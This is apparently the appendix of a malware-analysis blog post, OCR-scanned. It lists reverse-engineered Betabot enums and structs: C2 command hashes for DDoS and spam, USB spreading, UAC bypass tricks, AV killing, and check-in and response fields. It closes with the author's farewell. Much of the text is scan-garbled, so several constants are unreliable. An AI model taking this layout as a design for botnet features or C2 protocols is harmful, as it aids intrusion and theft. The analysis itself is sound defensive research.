BB_CURRENT_PROCESS_FLAGS_USERPROFILE = 0x4,
BB_CURRENT_PROCESS_FLAGS_DOTNET = 0x8,
BB_CURRENT_PROCESS_FLAGS_HAS_SUSPICIOUS_MEM = 0x10,

1

/* 530 */

enum BB_SOFTWARE

{
BB_SOFTWARE_STEAM = 1,
BB_SOFTWARE_ORIGIN = 2,
BB_SOFTWARE_RUNESCAPE = 4,
BB_SOFTWARE_MINECRAFT 8,
BB_SOFTWARE_BLIZZARD = 16,
BB_SOFTWARE_LOL = 64,
BB_SOFTWARE_BITCOIN_RELATED = 128,
BB_SOFTWARE_WEBCAM = 256,
BB_SOFTWARE_JAVA = 512,
BB_SOFTWARE_SKYPE = 1024,
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BB_SOFTWARE_VISUAL_STUDIO = 2048,
BB_SOFTWARE_VM_SOFTWARE = 4096,

+i

/* 631 */

enum BB_GENERAL_FLAGS

{
BB_GENERAL_FLAGS_PROACTIVE_DEFENSE = 0x1,
BB_GENERAL_FLAGS_FORMGRAB_DISABLED = 0x2,

BB_GENERAL_FLAGS_DNS_MODIFY_DISABLED = 0x4,
BB_GENERAL_FLAGS_USB_SPREAD_ENABLED = 0x8,

BB_GENERAL_FLAGS_AGGRESSIVE_PROACTIVE_DEFENSE_ENABLED = 0x10,

BB_GENERAL_FLAGS_DYNAMIC_CONFIG_DISABLED = 0x20,
BB_GENERAL_FLAGS_LOGIN_GRAB_DISABLED = 0x40,
BB_GENERAL_FLAGS_USERKIT_DISABLED = 0x80,
BB_GENERAL_FLAGS_SYS_INJECTIONS_DISABLED = 0x100,
BB_GENERAL_FLAGS_SYS_INJECTIONS_XBROWSER_DISABLED = 0x200,
BB_GENERAL_FLAGS_ANTI_EXPLOIT_KIT_ENABLED = 0x400,
BB_GENERAL_FLAGS_ANTI_BOOTKIT_ENABLED = 0x800,
BB_GENERAL_FLAGS_FORCE_IE_ENABLED = 0x1000,

BB_GENERAL_FLAGS_PRIVILEGE_ESCALATION_EXPLOITS_ENABLED = 0x2000,

BB_GENERAL_FLAGS_PROACTIVE_MINER_DEFENSE_ENABLED = 0x4000,

BB_GENERAL_FLAGS_PROACTIVE_LOCKER_DEFENSE_ENABLED = 0x8000,
BB_GENERAL_FLAGS_PROACTIVE_ANTI_OLDER_BETABOT_ENABLED = 0x10000,

1

/* 632 */

enum BB_MINOR_FLAGS

{
BB_MINOR_FLAGS_DISABLE_IMAGE_EXECUTION_OPTIONS_FUNC = 0x1,
BB_MINOR_FLAGS_DISABLE_UAC_FAKE_WINDOW = 0x2,
BB_MINOR_FLAGS_DO_NOT_DISABLE_WINDOWS_SEC_SERVICES = 0x4,
BB_MINOR_FLAGS_DISABLE_LUA = 0x8,
BB_MINOR_FLAGS_DISABLE_AUTOUPDATES_ADDONS = 0x10,
BB_MINOR_FLAGS_DISABLE_USERKIT_64BIT = 0x20,
BB_MINOR_FLAGS_INSTALL_USE_HKLM_RUNONCE = 0x80,

BB_MINOR_FLAGS_MINOR_FLAGS_INSTALL_ENABLE_SHELL_FOLDER = 0x100,

BB_MINOR_FLAGS_ENABLE_DEBUG_MSG_SYSTEM = 0x200,
BB_MINOR_FLAGS_ENABLE_DEBUG_ATTRIBUTES = 0x400,
BB_MINOR_FLAGS_DEBUG_RESERVED_FOR_FUTURE_USE = 0x800,
BB_MINOR_FLAGS_FORMGRAB_FILTER_USELESS_GRABS = 0x1000,
BB_MINOR_FLAGS_FORMGRAB_RESERVED_R1 = 0x2000,
BB_MINOR_FLAGS_FORMGRAB_RESERVED_R2 = 0x4000,
BB_MINOR_FLAGS_DISABLE_INJECT_INTO_LOADERS = 0x8000,
BB_MINOR_FLAGS_INJECT_RESERVED_R1 = 0x10000,
BB_MINOR_FLAGS_INJECT_RESERVED_R2 = 0x20000,
BB_MINOR_FLAGS_DISABLE_SSL_CERTIFICATE_WARNINGS = 0x40000,

}i

/* 633 */

enum BB_CUSTOM_FLAGS

{
BB_CUSTOM_FLAGS_DISABLE_WEB = 0x1,
BB_CUSTOM_FLAGS_DISABLE_META_TAG_MODIFIER = 0x2,
BB_CUSTOM_FLAGS_DISABLE_DOCTYPE_MODIFIER = 0x4,
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BB_CUSTOM_FLAGS_DISABLE_WEB_FOR_VM = 0x8,
BB_CUSTOM_FLAGS_DISABLE_X_FRAME_OPTIONS_REMOVER = 0x10,

+i

enum BB_OSVERFLAG

{
BB_OSVERFLAG_SERVER2003 = 0x1,
BB_OSVERFLAG_SERVER2008 = 0x2,
BB_OSVERFLAG_SERVER2008R2 = 0x4,
BB_OSVERFLAG_UNSUPPORTED = 0x8,
BB_OSVERFLAG_WINS = 0x10,
BB_OSVERFLAG_WIN7 = 0x20,
BB_OSVERFLAG_VISTA = 0x40,
BB_OSVERFLAG_XP = 0x80,
BB_OSVERFLAG_BIT_32 = 0x100,
BB_OSVERFLAG_BIT_64 = 0x200,
BB_OSVERFLAG_SP1 = 0x400,
BB_OSVERFLAG_SP2 = 0x800,
BB_OSVERFLAG_SP3 = 0x1000,
BB_OSVERFLAG_SERVER2012 = 0x2000,
BB_OSVERFLAG_WIN10 = 0x4000,
BB_OSVERFLAG_4001 = 0x8000,
BB_OSVERFLAG_STARTER = 0x10000,
BB_OSVERFLAG_HOMEBASIC = 0x20000,
BB_OSVERFLAG_HOMEPREMIUM = 0x40000,
BB_OSVERFLAG_PROFESSIONAL = 0x80000,
BB_OSVERFLAG_ULTIMATE = 0x100000,
BB_OSVERFLAG_BUSINESS = 0x200000,
BB_OSVERFLAG_ENTERPRISE = 0x400000,

BB_OSVERFLAG_DATACENTER = 0x800000,
};
enum BB_THREAD TRACKER_INDEX : _ int16
{

BB_THREAD_TRACKER_INDEX_0 = 0,

BB_THREAD_TRACKER_INDEX_1 = 1,
BB_THREAD_TRACKER_INDEX_ANTIBOT = 2,
BB_THREAD_TRACKER_INDEX_BOTSCRIPT =
BB_THREAD_TRACKER_INDEX_PERSISTENCE
BB_THREAD_TRACKER_INDEX_5 = 5,
BB_THREAD_TRACKER_INDEX_6
BB_THREAD_TRACKER_INDEX_7
BB_THREAD_TRACKER_INDEX_S8
BB_THREAD_TRACKER_INDEX_9 ,
BB_THREAD_TRACKER_INDEX_10 = 10,
BB_THREAD_TRACKER_INDEX_ 11 = 11,
BB_THREAD_TRACKER_INDEX_IS_BEHIND_ROUTER_CHECK = 12,
BB_THREAD_TRACKER_INDEX_PATCH_DETECTION = 13,
BB_THREAD_TRACKER_INDEX_LAZY_DECRYPT_MAYBE = 14,
BB_THREAD_TRACKER_INDEX_15 = 15,
BB_THREAD_TRACKER_INDEX_16 16,
BB_THREAD_TRACKER_INDEX_17 17,
BB_THREAD_TRACKER_INDEX_INTEGRITY_CHECK = 18,
BB_THREAD_TRACKER_INDEX_19 = 19,
BB_THREAD_TRACKER_INDEX_20 20,
BB_THREAD_TRACKER_INDEX_ 21 = 21,
BB_THREAD_TRACKER_INDEX_WINDOW_HANDLER_IPC = 22,

3,
= 4,

4

’

6
7
8,
9

76/80



}

BB_THREAD_TRACKER_INDEX_USB_SPREADER = 23,
BB_THREAD_TRACKER_INDEX_PERSISTENCE_PROCESS = 24,
BB_THREAD_TRACKER_INDEX_UAC = 25,
BB_THREAD_TRACKER_INDEX_26 = 26,
BB_THREAD_TRACKER_INDEX_BROWSER_HOOK = 27,
BB_THREAD_TRACKER_INDEX_BROWSER_DUMMY = 28,
BB_THREAD_TRACKER_INDEX_29 = 29,
BB_THREAD_TRACKER_INDEX_30 = 30,
BB_THREAD_TRACKER_INDEX_FREE2 = 31,
BB_THREAD_TRACKER_INDEX_FREE1 = 32,
BB_THREAD_TRACKER_INDEX_33 = 33,
BB_THREAD_TRACKER_INDEX_FREE_START = 34,

enum BB_COMMAND_HASH

{

}

BB_COMMAND_HASH_DIE = 0x2A66058D,
BB_COMMAND_HASH_UAC = Ox2A870594,
BB_COMMAND_HASH_REM = Ox2A90059F,
BB_COMMAND_HASH_SYS = Ox2AC105BA,

BB_COMMAND_HASH_DDOS = 0x306B0605,
BB_COMMAND_HASH_SPAM = 0x30A9060C,
BB_COMMAND_HASH_SOCKS = 0x3726067E,

BB_COMMAND_HASH_DWFILE = Ox3DCFO6D6,
BB_COMMAND_HASH_UPDATE = Ox3E0206DE,
BB_COMMAND_HASH_PLUGIN = Ox3E1906EA,

BB_COMMAND_HASH_BOTKILL = 0x4526074C,
BB_COMMAND_HASH_BROWSER_CLEAR_CACHE = 0x4565075F,
BB_COMMAND_HASH_DDOS_UDP = 0x4BCE077C,
BB_COMMAND_HASH_DDOS_RUDY = 0x53D207F7,
BB_COMMAND_HASH_BOTSCRIPT = 0x55330835,
BB_COMMAND_HASH_DDOS_CONDIS = 0x647608B3,
BB_COMMAND_HASH_DDOS_HTTPGET = OXG6EGAG933,
BB_COMMAND_HASH_BROWSERVISIT 0Xx794409BC,
BB_COMMAND_HASH_DDOS_SLOWLORIS = 0Ox821A0A21,
BB_COMMAND_HASH_BROWSERSETHOME Ox8DCOOA82,

enum BB_BOT_ATTRIBUTE

{

BB_BOT_ATTRIBUTE_HAS_SOURCE_USB = 0x1,
BB_BOT_ATTRIBUTE_HAS_NET_FRAMEWORK = 0x2,
BB_BOT_ATTRIBUTE_HAS_JAVA = 0x4,
BB_BOT_ATTRIBUTE_HAS_STEAM = 0x8,
BB_BOT_ATTRIBUTE_HAS_ROUTER = 0x10,
BB_BOT_ATTRIBUTE_IS_ELEVATED = 0x20,
BB_BOT_ATTRIBUTE_IS_GOOD_FOR_BITCOIN = 0x40,
BB_BOT_ATTRIBUTE_IS_COMPUTER_SAVVY = 0x80,
BB_BOT_ATTRIBUTE_IS_LAPTOP = 0x100,
BB_BOT_ATTRIBUTE_UAC_ENABLED = 0x200,
BB_BOT_ATTRIBUTE_HAS_USED_RDP = 0x400,
BB_BOT_ATTRIBUTE_IS_VIRTUAL_MACHINE = 0x800,
BB_BOT_ATTRIBUTE_HAS_SAMSUNG_DEVICE = 0x1000,
BB_BOT_ATTRIBUTE_HAS_APPLE_DEVICE = 0x2000,
BB_BOT_ATTRIBUTE_4000_UNKNOWN = 0x4000,
BB_BOT_ATTRIBUTE_SAFE_BOOT = 0x8000,
BB_BOT_ATTRIBUTE_AVKILL_HAS_EXECUTED = 0x1000000,
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BB_BOT_ATTRIBUTE_TRICK_WORKED_USED_IFEO_TRICK
BB_BOT_ATTRIBUTE_TRICK_WORKED_USED_SHIM_TRICK

0Xx8000000,
0X10000000,

BB_BOT_ATTRIBUTE_UAC_REQUIRES_TRICK = 0x20000000,

BB_BOT_ATTRIBUTE_UAC_TRICK WORKED =
}

/* 532 */
enum BB_SECURITY_TOOL_INSTALLED
{

BB_SECURITY_TOOL_INSTALLED_ADWCLEANER

0x40000000,

0x1,

BB_SECURITY_TOOL_INSTALLED_COMBOFIX = 0x2,
0x4,

BB_SECURITY_TOOL_INSTALLED_ADAWARE =
BB_SECURITY_TOOL_INSTALLED_SPYBOTSND
BB_SECURITY_TOOL_INSTALLED_BANKERFIX
BB_SECURITY_TOOL_INSTALLED_HOUSECALL

BB_SECURITY_TOOL_INSTALLED_HIJACKTHIS

BB_SECURITY_TOOL_INSTALLED_TRUSTEER
H
enum BB_BOT_REQUEST_TYPE

{
BB_BOT_REQUEST_TYPE_CHECKIN = 0x1,

BB_BOT_REQUEST_TYPE_CHECKIN_BOOT = 0x2,
BB_BOT_REQUEST_TYPE_UPDATE_STATS = 0x4,
0x8,

BB_BOT_REQUEST_TYPE_UPDATE_FORMGRAB
BB_BOT_REQUEST_TYPE_UPDATE_STEALER =
BB_BOT_REQUEST_TYPE_UPDATE_INFOBLOB

i

struct BB_REPORT_UNK

{
char JpegFakeHeader[8];
__int16 size;
__int16 magic;
int header_crc32;
int stringsCount;
int exdataKey;
int botVer;
int reqType;
int osVerFlag;
int botAttribute;
int bot0S;
int botAttribs;
int botCustomAttrib;
int debugAttribs;
int currentTimeUnix;
int currentTickCount;
int timezoneBias;
int botLocale;
WORD botkillStats;
__1int16 socksPortAl6Machineld;
char hwid[16];
int CFRegKeys[8];
DWORD tasksStatus[8];
int field_9C;
int field_AQ;

0x8,

0x10,

0x20,
0x40,

0x80,

0x10,

0x100,
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int installedAv;

int installedSoft;

int securityToolsInstalled;
int killedAvs;

DWORD webAttributes;

int screenSize;

int exploitStatus;

int field_cC0;

int field_cC4;

int field_C8;

int field_CC;

int field_DO;

WORD RegECC[5];

__int16 exceptionUnusedl;
__int16 exceptionUnused2;
__int16 exceptionUnused3;
__int16 exceptionUnused4;
__intl16 exceptionUnused5;
__intl16 exceptionUnuseds;
__int16 exceptionUnused7;
__int16 persistenceRestoreCount;
WORD crashCount;

_BYTE gapF0[20];

char stringBotGroupName[12];
char botProcName[20];

H

/* 637 */
enum BB_ENUMS
{

BB_REQUEST_MAGIC = OXC1ES5,
BB_DISPOSITION_UNINSTALL = 0x10A15,

1

struct BB_RESPONSE_STRUCT
{
int field_0;
int field_4;
int size;
int statusCode;
int knockInterval;
int contentType;
int disposition;
int generalOpts;
int minorOpts;
int customOpts;
int infoBlobStatus;
int dynConfigVer;
int dnslistVer;
int urltrackVer;
int filesearchVer;
int pluginver;
int webVer;
int reservedil;
int reserved2;
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int cmdSize;
int dnsSize;
int trackedUrlSize;
int dynConfSize;
int filesearchConfSize;
int pluginConfSize;
int webConfSize;
int field_68;
}

On a more personal side of things, as you might’'ve noticed, the blog has been fairly inactive
and this is unlikely to change any time soon. In all likelihood, this is probably the last post on
this blog. The past years have been fun, much appreciation to all of those who stuck around,
especially those who are still doing cool research. If you have unfinished
projects/dealings/etc with me, it is best to contact me soon to get things resolved.
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